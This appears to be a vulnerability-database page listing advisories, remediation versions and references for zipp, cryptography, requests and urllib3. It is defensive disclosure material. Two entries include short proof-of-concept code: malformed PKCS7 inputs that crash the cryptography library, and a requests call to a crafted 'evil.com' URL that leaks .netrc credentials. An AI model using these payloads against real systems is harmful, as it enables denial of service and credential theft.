Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). The POLY1305 MAC (message authentication code) implementation might corrupt the internal state of applications on the Windows 64 platform when running on newer X86_64 processors supporting AVX512-IFMA instructions. If an attacker can influence whether the POLY1305 MAC algorithm is used in an application, the application state might be corrupted with various application dependent consequences, the most likely of which being denial of service. The maintainers are currently not aware of any concrete application that would be affected by this issue.

NOTES:

This vulnerability is only exploitable on Windows.

The FIPS provider is not affected by this issue.

Workaround

Disable AVX512-IFMA instructions by setting the environment variable OPENSSL_ia32cap: OPENSSL_ia32cap=:~0x200000

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.4 or higher.

References

• Github Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• RedHat Bugzilla Bug
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

1. HTTP → HTTPS: leak

2. HTTPS → HTTP: no leak

3. HTTPS → HTTPS: leak

4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

• GitHub Commit
• GitHub Release
• PoC

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). If an X.509 certificate contains a malformed policy constraint and policy processing is enabled, then a write lock will be taken twice recursively. On some operating systems (most widely: Windows), this results in a denial of service when the affected process hangs.

NOTE: Policy processing being enabled on a publicly-facing server is not considered to be a common setup.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub Issue (Python)
• RedHat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a read buffer overflow in certificate name constraint checking in x509/v3_ncons.c. This occurs after certificate chain signature verification, and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a double free after calling the PEM_read_bio_ex() function. An attacker who supplies a malicious PEM file with a 0-length payload can trigger a crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an invalid pointer dereference in the d2i_PKCS7(), d2i_PKCS7_bio() and d2i_PKCS7_fp(). An attacker could trigger a crash by supplying malicious PKCS7 data.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null dereference when validating DSA public keys in the EVP_PKEY_public_check() function.

NOTE: The TLS implementation in OpenSSL does not call this function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when processing specially crafted ASN.1 objects identifiers. Applications that use OBJ_obj2txt() directly, or use any of the OpenSSL subsystems OCSP, PKCS7/SMIME, CMS, CMP/CRMF or TS with no message size limit may experience notable to very long delays when processing those messages, which may lead to a exploitation of this vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.0 or higher.

References

• GitHub Commit
• GitHub Commit
• PoC
• RedHat Bugzilla Bug
• Security Advisory

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference when loading PKCS7 certificates. An attacker can cause a Denial of Service (DoS) by attempting to deserialize a PKCS7 blob/certificate.

Note:

This is only exploitable if the load_pem_pkcs7_certificates or load_der_pkcs7_certificates functions are called.

PoC

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Remediation

Upgrade cryptography to version 41.0.6 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the EVP_PKEY_public_check function. When the function is called in RSA public keys, a computation is done to confirm that the RSA modulus, n, is composite. For valid RSA keys, n is a product of two or more large primes and this computation completes quickly. However, if n is a large prime, this computation takes a long time. An attacker can cause a denial of service by supplying a specially crafted RSA key that triggers extensive computation.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 42.0.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• OpenSSL Advisory
• RedHat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Use After Free in the BIO_new_NDEF() function. A new filter BIO can be freed, with the function returning a NULL result indicating a failure. But the BIO passed by the caller still holds pointers to the previously freed filter BIO. This could allow an attacker to cause a crash.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub PR
• Node.js Advisory
• Vulnerability Advisory

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when the Cookie HTTP header is used. An attacker can leak information via HTTP redirects to a different origin by exploiting the fact that the Cookie HTTP header isn't stripped on cross-origin redirects.

Note:

This is only exploitable if the user is using the Cookie header on requests, not disabling HTTP redirects, and either not using HTTPS or for the origin server to redirect to a malicious origin.

##Workaround:

This vulnerability can be mitigated by disabling HTTP redirects using redirects=False when sending requests and by not using the Cookie header.

Remediation

Upgrade urllib3 to version 1.26.17, 2.0.6 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference when processing a maliciously formatted PKCS12 file. The vulnerability exists due to improper handling of optional ContentInfo fields, which can be set to null. An attacker can cause a denial of service by sending crafted input that leads to applications loading files in PKCS12 format from untrusted sources to terminate abruptly.

Remediation

Upgrade cryptography to version 42.0.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR
• OpenSSL Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the DH_check(), DH_check_ex() and EVP_PKEY_param_check() functions, which are used to check a DH key or DH parameters.

When the key or parameters that are being checked contain an excessively large modulus value (the p parameter) this may cause slowness in processing. Some checks use the supplied modulus value even if it has already been found to be too large.

The OpenSSL dhparam and pkeyparam command line applications are also vulnerable, when using the -check option.

NOTE: The OpenSSL SSL/TLS implementation is not affected by this issue.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• RedHat Bugzilla Bug
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when the DH_generate_key(), DH_check_pub_key(), DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate() functions are used. An attacker can cause long delays and potentially a Denial of Service by supplying excessively long X9.42 DH keys or parameters obtained from an untrusted source.

Note:

This is only exploitable if the application uses these functions to generate or check an X9.42 DH key or parameters. Also, the OpenSSL pkey command line application, when using the -pubcheck option, as well as the OpenSSL genpkey command line application, are vulnerable to this issue.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• RedHat Bugzilla Bug
• Security Advisory

Overview

Affected versions of this package are vulnerable to Missing Cryptographic Step when the EVP_EncryptInit_ex2(), EVP_DecryptInit_ex2() or EVP_CipherInit_ex2() functions are used. An attacker can cause truncation or overreading of key and initialization vector (IV) lengths by altering the "keylen" or "ivlen" parameters within the OSSL_PARAM array after the key and IV have been established. This can lead to potential truncation or overruns during the initialization of some symmetric ciphers, such as RC2, RC4, RC5, CCM, GCM, and OCB. A truncation in the IV can result in non-uniqueness, which could result in loss of confidentiality for some cipher modes.

Both truncations and overruns of the key and the IV will produce incorrect results and could, in some cases, trigger a memory exception.

Remediation

Upgrade cryptography to version 41.0.5 or higher.

References

• GitHub Commit
• GitHub Commit
• Security Advisory

Overview

Affected versions of this package are vulnerable to Timing Attack in rsa/rsa_ossl.c. An attacker can recover ciphertext with a Bleichenbacher style attack by sending a large number of trial messages (Marvin). This affects all RSA padding modes: PKCS#1 v1.5, RSA-OEAP, and RSASVE.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory
• Vulnerability Report

Overview

Affected versions of this package are vulnerable to Expected Behavior Violation in Cipher.update_into, which allows immutable objects (such as bytes) to be mutated, violating fundamental rules of Python. This allows programmers to misuse an API, and cannot be exploited by attacker-controlled data alone.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when it processes HTTP redirects with a 303 status code, due to not stripping the request body when changing the request method from POST to GET. An attacker can potentially expose sensitive information by compromising the origin service and redirecting requests to a malicious peer.

Note:

This is only exploitable if sensitive information is being submitted in the HTTP request body and the origin service is compromised, starting to redirect using 303 to a malicious peer or the redirected-to service becomes compromised.

Workaround

This vulnerability can be mitigated by disabling redirects for services that are not expected to respond with redirects, or disabling automatic redirects and manually handling 303 redirects by stripping the HTTP request body.

Remediation

Upgrade urllib3 to version 1.26.18, 2.0.7 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

MPL-2.0 license